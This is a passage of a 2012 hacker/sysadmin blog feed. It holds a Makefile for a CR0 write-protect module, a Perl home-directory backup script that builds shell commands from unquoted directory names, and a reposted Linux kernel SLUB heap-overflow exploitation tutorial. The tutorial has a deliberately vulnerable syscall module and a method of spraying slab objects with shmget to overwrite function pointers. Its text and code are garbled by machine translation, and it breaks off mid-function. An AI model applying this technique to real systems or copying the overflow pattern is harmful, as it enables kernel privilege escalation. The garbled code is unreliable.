0;&lt;br /&gt;}&lt;br /&gt;============&lt;br /&gt;&lt;br /&gt;Makefile:&lt;br /&gt;=======&lt;br /&gt;obj-m += modify_cr0.o&lt;br /&gt;&lt;br /&gt;all:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules&lt;br /&gt;&lt;br /&gt;clean:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean&lt;br /&gt;&lt;br /&gt;=============&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-5513831867317272167?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/5513831867317272167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/5513831867317272167'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/modifikasi-wp-bit-pada-register-cr0-di.html' title='modifikasi WP bit pada register cr0  di mesin x86'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-6994456978570376365</id><published>2012-02-13T09:16:00.000-08:00</published><updated>2012-02-13T09:16:39.542-08:00</updated><title type='text'>well some kernel space buggy</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-fl0PZ1dw_aI/Tzk4s6DDckI/AAAAAAAAA5A/HGp6fTPXLeU/s1600/botnet.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" width="700" src="http://2.bp.blogspot.com/-fl0PZ1dw_aI/Tzk4s6DDckI/AAAAAAAAA5A/HGp6fTPXLeU/s1600/botnet.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-6994456978570376365?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6994456978570376365'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6994456978570376365'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/well-some-kernel-space-buggy.html' title='well some kernel space buggy'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-fl0PZ1dw_aI/Tzk4s6DDckI/AAAAAAAAA5A/HGp6fTPXLeU/s72-c/botnet.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-1479222516662355867</id><published>2012-02-10T09:01:00.001-08:00</published><updated>2012-02-10T09:01:55.015-08:00</updated><title type='text'>as always as usual.doing my job as sysadmin</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-GvHwi2eVrGs/TzVNatr7UgI/AAAAAAAAA44/dvk1vHeX2jg/s1600/botnet.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0"  src="http://3.bp.blogspot.com/-GvHwi2eVrGs/TzVNatr7UgI/AAAAAAAAA44/dvk1vHeX2jg/s1600/botnet.jpg" width="620" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-1479222516662355867?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/1479222516662355867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/1479222516662355867'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/as-always-as-usualdoing-my-job-as.html' title='as always as usual.doing my job as sysadmin'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-GvHwi2eVrGs/TzVNatr7UgI/AAAAAAAAA44/dvk1vHeX2jg/s72-c/botnet.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-3055119802006821693</id><published>2012-02-10T04:21:00.001-08:00</published><updated>2012-02-10T04:25:30.694-08:00</updated><title type='text'>auto backup all /home/$user/public_html to /root/backup_home</title><content type='html'>yep another perl to make easy my job as sysadmin.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;===========&lt;br /&gt;#!/usr/bin/perl &lt;br /&gt;#AutoBackup all /home/$user/public_html to /root/backup_home&lt;br /&gt;#by: ev1lut10n - the sysadmin&lt;br /&gt;#special thanks to : Merikenin &lt;br /&gt;&lt;br /&gt;use POSIX;&lt;br /&gt;&lt;br /&gt;sub utama()&lt;br /&gt;{&lt;br /&gt;eval&lt;br /&gt;{&lt;br /&gt;$uid=getuid();&lt;br /&gt;if($uid ne "0")&lt;br /&gt;&amp;nbsp; {&lt;br /&gt;&amp;nbsp; print "[-] Sorry you gotta be root to run this tool !!!\n";&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;&amp;nbsp; else&lt;br /&gt;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;system("mkdir /root/backup_home");&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;viewhome();&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;sub viewhome&lt;br /&gt;{&lt;br /&gt;eval &lt;br /&gt;{&lt;br /&gt;open(PROSES_CACING, "ls /home |"); &lt;br /&gt;&amp;nbsp;while (&amp;lt;PROSES_CACING&amp;gt;)&amp;nbsp; &lt;br /&gt;&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $tampilan =&amp;nbsp; $_;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $tampilan =~ s/^\s+//; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $tampilan =~ s/\s+$//;&lt;br /&gt;$cmd="cd /home/$tampilan/;tar czvf $tampilan.tgz public_html;mv $tampilan.tgz /root/backup_home";&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; system($cmd);&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;close(PROSES_CACING);&lt;br /&gt;print "\n[+] Backup done !!! please check /root/backup_home !\n";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;br /&gt;sub str_replace {&lt;br /&gt;eval&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;my $replace_this = shift;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $with_this&amp;nbsp; = shift; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $string&amp;nbsp;&amp;nbsp; = shift;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $length = length($string);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $target = length($replace_this);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(my $i=0; $i&amp;lt;$length - $target + 1; $i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if(substr($string,$i,$target) eq $replace_this) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $string = substr($string,0,$i) . $with_this . substr($string,$i+$target);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return $string; #Comment this if you what a global replace&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return $string;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;utama();&lt;br /&gt;&lt;br /&gt;=========&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-3055119802006821693?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/3055119802006821693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/3055119802006821693'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/auto-backup-all-homeuserpublichtml-to.html' title='auto backup all /home/$user/public_html to /root/backup_home'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-6344607247579446710</id><published>2012-02-09T12:34:00.000-08:00</published><updated>2012-02-09T12:34:52.612-08:00</updated><title type='text'>my old book is back</title><content type='html'>after moving from bogor- bandung-jakarta-tangerang-jakarta-bandung i lost my book, and now my book is back to my hand&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-HxzpnaIJZVs/TzQtpTeQlSI/AAAAAAAAA4w/CR59iOC6U0I/s1600/IMG00182-20120210-0329.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" width="1000" src="http://4.bp.blogspot.com/-HxzpnaIJZVs/TzQtpTeQlSI/AAAAAAAAA4w/CR59iOC6U0I/s1600/IMG00182-20120210-0329.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-6344607247579446710?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6344607247579446710'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6344607247579446710'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/my-old-book-is-back.html' title='my old book is back'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-HxzpnaIJZVs/TzQtpTeQlSI/AAAAAAAAA4w/CR59iOC6U0I/s72-c/IMG00182-20120210-0329.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-2660613932031049088</id><published>2012-02-08T12:39:00.000-08:00</published><updated>2012-02-08T12:40:35.430-08:00</updated><title type='text'>Linux Kernel Slub Overflow</title><content type='html'>source: &lt;a href="http://www.cloud-sec.org%20/"&gt;www.cloud-sec.org &lt;/a&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Exploit linux kernel slub overflow&lt;br /&gt;&lt;br /&gt;I. Introduction&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; Kernel exploit more popular in recent years, the common core to mention the right of vulnerability can be divided into several categories: the null pointer reference, the kernel stack overflow, kernel slab overflow, kernel any address writable.&lt;br /&gt;A null pointer dereference vulnerability easier to exploit, the typical example sock_sendpage, udp_sendmsg. But the new kernel security module no longer allow userspace the code map low memory&lt;br /&gt;NULL pointer dereference once only dos, not to mention the right. CVE-2010-4258 kernel any address writable vulnerability can be a null pointer dereference&lt;br /&gt;dos conversion to mention the right. The kernel stack overflow stack overflow relative userspace under better the exploit. Here the most difficult to exploit the kernel slab overflow. Slab of overflow in 2005, UNF&lt;br /&gt;qobaiashi written paper to illustrate the slab exploit. Since then overflow study on the slab in the focus on the 2.4 kernel under 2.6 of the slab overflows have not seen the paper shared out.&lt;br /&gt;Time in the kernel 2.6.22, the kernel in order to improve the performance of the slab, the introduction of the slub the design. For the slub overflow the paper has not been shared until Jon Oberheide released a CAN protocol&lt;br /&gt;the slub overflow exploit, this is the first public use of slab overflow exploit in 2.6kernel ubuntu-10.04 2.6.32 kernel running. Jon Oberheide&lt;br /&gt;The exploit due to the use of some of the advantages of the CAN code does not overflow the essence of the slub reflected in his blog article on the analysis of the slub overflow paper. In-depth study of the exploit&lt;br /&gt;On the basis of, plus I debug the experience of the 2.4 kernel slab overflow, look slub overflow centos 5.2 + 2.6.32 environment, the test is successful.&lt;br /&gt;&lt;br /&gt;Second, the sample code:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; In order to facilitate debugging, I wrote an LKM module, a new system calls to the kernel api interface, users can call.&lt;br /&gt;&lt;br /&gt;# Define BUFFER_SIZE 80&lt;br /&gt;&lt;br /&gt;asmlinkage long kmalloc_overflow_test (char * addr, int size)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char * buff = NULL;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; buff = kmalloc (BUFFER_SIZE, GFP_KERNEL);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (! buff) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printk ("kmalloc failed \ n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return -1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printk ("[+] Got the object at 0x% p \ n", buff);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (copy_from_user (buff addr, size)) {&lt;br /&gt;printk ("copy_from_user failed \ n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; kfree (buff);&lt;br /&gt;return -1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;printk ("% s \ n", buff);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 0;&lt;br /&gt;}&lt;br /&gt;This code use kmalloc allocated 80 bytes of space, but did not check the size the size of the user to pass a value greater than the size value of 80 will have a kernel heap overflow.&lt;br /&gt;&lt;br /&gt;Third, the SLUB structure&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; the slub greatly simplifies the data structure of the slab kmem_cache the three queues on the slab removed completely full queue. The beginning of each slab slab management structure and management of empty obj&lt;br /&gt;kmem_bufctl_t array. A slab slub management structure is as follows:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; A slab of the structure:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; + ------------------------------------------- +&lt;br /&gt;&amp;nbsp;&amp;nbsp; | Obj | obj | obj | ... | obj |&lt;br /&gt;&amp;nbsp;&amp;nbsp; + ------------------------------------------- +&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; According to the above code fragment, after the overflow of an obj dirty data directly over the rear adjacent obj:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; | First | second |&lt;br /&gt;&amp;nbsp;&amp;nbsp; + ------------------------------------------- +&lt;br /&gt;&amp;nbsp;&amp;nbsp; | Obj | obj | obj | ... | obj |&lt;br /&gt;&amp;nbsp;&amp;nbsp; + ------------------------------------------- +&lt;br /&gt;&amp;nbsp;&amp;nbsp; | ----- The overflow ---&amp;gt; |&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; When the kernel code to access the data structure in the overflow of obj, it will have the oops.&lt;br /&gt;&lt;br /&gt;Fourth, the the SLUB overflow method&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; Kernel to mention the right to the ultimate purpose is to trigger a kernel bug, and then control the path to the kernel to userspace prior arrangement good shellcode. Therefore, our general direction in the second obj&lt;br /&gt;If there is a function pointer can be dirty data coverage userspace shellcode, and the user can call this function pointer, you will complete an elevated task. There is also a problem to be dealt with&lt;br /&gt;Is how to guarantee that a bug in the code using kmalloc allocation obj and we want to overwrite a function pointer where obj is adjacent. Because only the two adjacent, in order to use the overflow data overwrite the function pointer.&lt;br /&gt;&lt;br /&gt;Let us assume that a data structure has been found in the kernel, just to meet the above requirements, as long as two obj is adjacent, you can complete the pointer cover. We know that a feature of the slab is&lt;br /&gt;When a cache slab structure obj run out, the kernel will reallocate the slab, the new distribution slab obj to each other are adjacent:&lt;br /&gt;Kmalloc () -&amp;gt; __kmalloc () -&amp;gt; __do_kmalloc () -&amp;gt; __cache_alloc () -&amp;gt; ____cache_alloc () -&amp;gt; cache_alloc_refill&lt;br /&gt;() -&amp;gt; Cache_grow () -&amp;gt; cache_init_objs ()&lt;br /&gt;&lt;br /&gt;static void cache_init_objs (struct kmem_cache * cachep,&lt;br /&gt;struct slab * slabp, unsigned long ctor_flags)&lt;br /&gt;{&lt;br /&gt;for (i = 0; i &amp;lt;cachep-&amp;gt; num; i + +) {&lt;br /&gt;void * objp = index_to_obj (cachep, slabp, i);&lt;br /&gt;slab_bufctl (slabp) [i] = i + 1;&lt;br /&gt;}&lt;br /&gt;slab_bufctl (slabp) [i - 1] = BUFCTL_END;&lt;br /&gt;slabp-&amp;gt; free = 0;&lt;br /&gt;}&lt;br /&gt;Mentioned in front of the structure of the slab in a kmem_bufctl_t array, obj index point of each element inside an idle. Initialize a new slab, each kmem_bufctl_t&lt;br /&gt;Elements in order of points adjacent to it next obj, so when the kernel re-allocation of a slab structure, allocated from the new slab obj are adjacent.&lt;br /&gt;&lt;br /&gt;SLUB is not also meet this feature? Carefully read the slub the code and found that it also satisfy this feature:&lt;br /&gt;kmalloc () -&amp;gt; slab_alloc () -&amp;gt; __slab_alloc () -&amp;gt; new_slab ():&lt;br /&gt;static struct page * new_slab (struct kmem_cache * s, gfp_t flags, int node)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; last = start;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for_each_object (p, s, start, page-&amp;gt; objects) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; setup_object (s, page, last);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; set_freepointer (s, last, p);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; last = p;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; setup_object (s, page, last);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; set_freepointer (s, last, NULL);&lt;br /&gt;}&lt;br /&gt;# Define for_each_object (__p, __ s, __ addr, __ objects) \&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (__p = (__addr); __ p &amp;lt;(__addr) + (__objects) * (__s) -&amp;gt; size; \&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; __p + = (__s) -&amp;gt; size)&lt;br /&gt;All obj this code to traverse a page is initialized:&lt;br /&gt;static inline void set_freepointer (struct kmem_cache * s, void * object, void * fp)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * (Void **) (object + s-&amp;gt; offset) = fp;&lt;br /&gt;}&lt;br /&gt;s-&amp;gt; offset is saved is a slab in the next idle obj offset set_freepointer function will be an obj an idle pointer to the next one obj. So the slub also meet this characteristic.&lt;br /&gt;&lt;br /&gt;Now we are in user space to find a way to continue to consume the slab run out of the existing slab, the slab of the newly allocated obj is continuous adjacent. How to consume slabs&lt;br /&gt;We can still use the shmget system call, and it used the struct shmid_kernel structure, it is we want to overwrite a function pointer!&lt;br /&gt;&lt;br /&gt;ipc / shm.c:&lt;br /&gt;sys_shmget-&amp;gt; ipcget-&amp;gt; ipcget_new-&amp;gt; newseg:&lt;br /&gt;static int newseg (struct ipc_namespace * ns, struct ipc_params * params)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; struct shmid_kernel * shp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shp = ipc_rcu_alloc (sizeof (* shp));&lt;br /&gt;shp-&amp;gt; shm_file = file;&lt;br /&gt;}&lt;br /&gt;void * ipc_rcu_alloc (int size)&lt;br /&gt;{&lt;br /&gt;out = kmalloc (HDRLEN_KMALLOC + size, GFP_KERNEL);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Therefore continue to call shmget in user space in the kernel constant drain on the slab size of 96. The example code assigned is 80 bytes, it will be allocated in the 96-sized slab,&lt;br /&gt;It should be noted:&lt;br /&gt;out = kmalloc (HDRLEN_KMALLOC + size, GFP_KERNEL);&lt;br /&gt;Space station, has an 8 byte with shmget allocation obj preceding Therefore with the shmget assigned shmid_kernel structure will be as follows:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; | ------ 96 ---------- ---------- | --------------- 96 ----- ------- |&lt;br /&gt;&amp;nbsp;&amp;nbsp; + ------------------------------------------------- -------------- +&lt;br /&gt;&amp;nbsp;&amp;nbsp; | HDRLEN_KMALLOC | shmid_kernel | HDRLEN_KMALLOC | shmid_kernel |&lt;br /&gt;&amp;nbsp;&amp;nbsp; + ------------------------------------------------- -------------- +&lt;br /&gt;&lt;br /&gt;Later covered skip the HDRLEN_KMALLOC bytes.&lt;br /&gt;&lt;br /&gt;Information on the slab in the kernel, you can get in / proc / slabinfo:&lt;br /&gt;[Wzt @ localhost exp] $ cat / proc / slabinfo | grep kmalloc-96&lt;br /&gt;kmalloc-96 922 924 96 42 1: tunables 0 0 0: slabdata 22 22 0&lt;br /&gt;922 current active obj number of 924 is obj the number of all slab, so we can parse this file in the user space remaining in the current system obj number:&lt;br /&gt;int check_slab (char * slab_name, int * active, int * total)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FILE * fp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a char buff [1024], name [64];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int active_num, total_num;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fp = fopen ("/ proc / slabinfo", "r");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (! fp) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; given by the perror ("fopen");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return -1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while (fgets (buff, 1024, fp)! = NULL) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sscanf (buff, "% s% u% u", 